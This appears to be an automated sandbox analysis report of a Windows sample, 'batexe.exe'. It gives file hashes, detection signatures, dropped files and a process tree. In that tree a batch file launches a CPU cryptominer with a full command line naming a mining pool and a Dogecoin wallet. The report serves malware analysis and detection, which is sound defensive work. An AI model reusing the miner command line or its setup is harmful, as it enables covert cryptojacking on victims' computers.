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Analysis

  • max time kernel
    293s
  • max time network
    301s
  • platform
    windows10-1703_x64
  • resource
    win10-20240214-ja
  • resource tags

    arch:x64arch:x86image:win10-20240214-jalocale:ja-jpos:windows10-1703-x64systemwindows
  • submitted
    20/02/2024, 02:35

General

  • Target

    batexe.exe

  • Size

    9.4MB

  • MD5

    cdc9eacffc6d2bf43153815043064427

  • SHA1

    d05101f265f6ea87e18793ab0071f5c99edf363f

  • SHA256

    73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

  • SHA512

    fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6

  • SSDEEP

    196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score
7/10
upx

Malware Config

Signatures

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 5 IoCs
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\batexe.exe
    "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4520
    • C:\Users\Admin\AppData\Local\Temp\900B.tmp\b2e.exe
      "C:\Users\Admin\AppData\Local\Temp\900B.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\900B.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:3372
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\925D.tmp\batchfile.bat" "
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3664
        • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
          cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          PID:3740

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\900B.tmp\b2e.exe

    Filesize

    8.8MB

    MD5

    171957ae029113ba94dbe679bff38ddc

    SHA1

    ee1ff667831e7c4ee9c0baee2d3ba9bf94eebdc4

    SHA256

    d9c21912e7391ed280e58399a34c54c90347e6ed6ddc982db55e86c1eab0ca28

    SHA512

    1a2183a8de843cf761249855df99f4112c4400178c3befd6e1e502e2edd99ef66409227fd4c1ee6ce69c7e5e724681a24c0282705a8ea74e88a373434168b077

  • C:\Users\Admin\AppData\Local\Temp\900B.tmp\b2e.exe

    Filesize

    8.1MB

    MD5

    7a3de1819ba1a330a41622a6c8c07d3a

    SHA1

    1e5881a0063de1d0aefbe629a6c3ef79b3b1e494

    SHA256

    ec04834e44d5ff945c9b35e7ce284c582abf50e5e73873504024d6eda79bb863

    SHA512

    53b11104936f35e4394c82143b83b81ffa0be6fcef92b3bf69db449dc053d6d06197f3a2cc216225eadd3e0fc0552e603e6351ba9f2b8125272f95c0d0d609e9

  • C:\Users\Admin\AppData\Local\Temp\925D.tmp\batchfile.bat

    Filesize

    136B

    MD5

    8ea7ac72a10251ecfb42ef4a88bd330a

    SHA1

    c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

    SHA256

    65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

    SHA512

    a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

  • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

    Filesize

    890KB

    MD5

    192db203fedeff58630408aa47861a2d

    SHA1

    9a82fdc2d440322c318f0316dc45c8d8bee94c9d

    SHA256

    8b33d45f4e68c25491ef0174d03c8f2dfc5a51003ac97e4af74e394b2e6be379

    SHA512

    e1e9bcbccd97f23f33dfed5453ca78a1c850af3282bbad877c63298802c6d19561224b8dcce0b892559943cf7bdcc51fd7a156256128b8150eaf05d66c955b2e

  • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

    Filesize

    1.2MB

    MD5

    3b64b9cac8d28ed1b98f776d28cc8da8

    SHA1

    e7c5e9f980c0aceac71d2f959dfa32eaf7847a7e

    SHA256

    e4e78ab323b7093d56ac845a566fbb5b805a47f3827876d40baddb6e85970389

    SHA512

    7e01654407ee2f3adb6ead9af220b2a87cf1eb49c30b4e0b2659ad3a798038f2f41ffdb1d6c7306db195adfa2aaff65e93de6378b19f201c5342994e93c9b77a

  • C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

    Filesize

    1.0MB

    MD5

    f027552b0c2c921f26605bb65eb32816

    SHA1

    b7599f4bbea77185a2458fc811936f2c53765a42

    SHA256

    f6c9b49cb805804c3fdd175c5b56840e9db3c148da40197eaaa2a3828388e596

    SHA512

    b34d062be9c0f426324e0ae9225bdaeb2123945dae7235d4fef822059281701d67e86985e21ce6965f57501bdcb5bc2dd063bd735e97ece5f02e576a27ef1ec3

  • C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    1.7MB

    MD5

    8eb81a78536e0154bfb66a7351c41690

    SHA1

    42bfe62ee1ef9af1f8607c90b59c5e8cfbc1bfff

    SHA256

    1ccf90d636edba6ea26642d012209bf32cc1e615facb8d0fcf05c7ea92c200e0

    SHA512

    2430d9b558f2df4c0b10c9b67191c5f2e736429664714a89e94940c75afb57e0de0a96ed3ea5782a40ed2cf87905d5970680e85d58f486e093cceda5aaca28e1

  • \Users\Admin\AppData\Local\Temp\libcurl-4.dll

    Filesize

    836KB

    MD5

    aeab40ed9a8e627ea7cefc1f5cf9bf7a

    SHA1

    5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

    SHA256

    218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

    SHA512

    c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

  • \Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

    Filesize

    1.2MB

    MD5

    7cf672bee2afba2dcd0c031ff985958e

    SHA1

    6b82a205db080ffdcb4a4470fce85a14413f3217

    SHA256

    c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

    SHA512

    3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

  • \Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    1.9MB

    MD5

    14ac30835cef867cf1d8f1e9a3743272

    SHA1

    ac00f92b203fd00ec7d10fe84cb44a63cc99d0dc

    SHA256

    63711e9c18287b7a8318da245f994ac03d627f3df255fcb0bc1bef63913637b0

    SHA512

    50a260bc3ef7d8b63cfd86756788fb94e025060a3f62b9a56c8c4b9d6d1c9f18f7b7cb81fc1f69a13e9864102f40b43e09528879f3ce44193e77dd59c3b9246f

  • \Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    1.5MB

    MD5

    7a8cb7005cffb85f64c4a63b971573b1

    SHA1

    b6c816a35db9a77d6487a0357a5c985e9cf590cc

    SHA256

    275aa86b63d4802537cc9b0440052a92e1218e92ed5972d93e82985e9156d413

    SHA512

    5c3920898a53c751f61c549fe3af87c3a189d0f700fd74cd1318af73e0e247a950daff2cbb8d5da98b7ba149fbcb8065375cc0672d1cf947330407b6c9068110

  • \Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

    Filesize

    606KB

    MD5

    585efec1bc1d4d916a4402c9875dff75

    SHA1

    d209613666ccac9d0ddab29a3bc59aa00a0968fa

    SHA256

    2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

    SHA512

    b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

  • memory/3372-50-0x0000000000400000-0x0000000000405000-memory.dmp

    Filesize

    20KB

  • memory/3372-5-0x0000000000400000-0x0000000000405000-memory.dmp

    Filesize

    20KB

  • memory/3740-40-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/3740-61-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/3740-42-0x0000000070800000-0x00000000708BC000-memory.dmp

    Filesize

    752KB

  • memory/3740-43-0x0000000070380000-0x0000000070418000-memory.dmp

    Filesize

    608KB

  • memory/3740-44-0x0000000001130000-0x00000000029E5000-memory.dmp

    Filesize

    24.7MB

  • memory/3740-45-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/3740-101-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/3740-51-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/3740-56-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/3740-41-0x0000000061440000-0x000000006156B000-memory.dmp

    Filesize

    1.2MB

  • memory/3740-66-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/3740-71-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/3740-76-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/3740-86-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/3740-91-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/3740-96-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/4520-6-0x0000000000400000-0x000000000393A000-memory.dmp

    Filesize

    53.2MB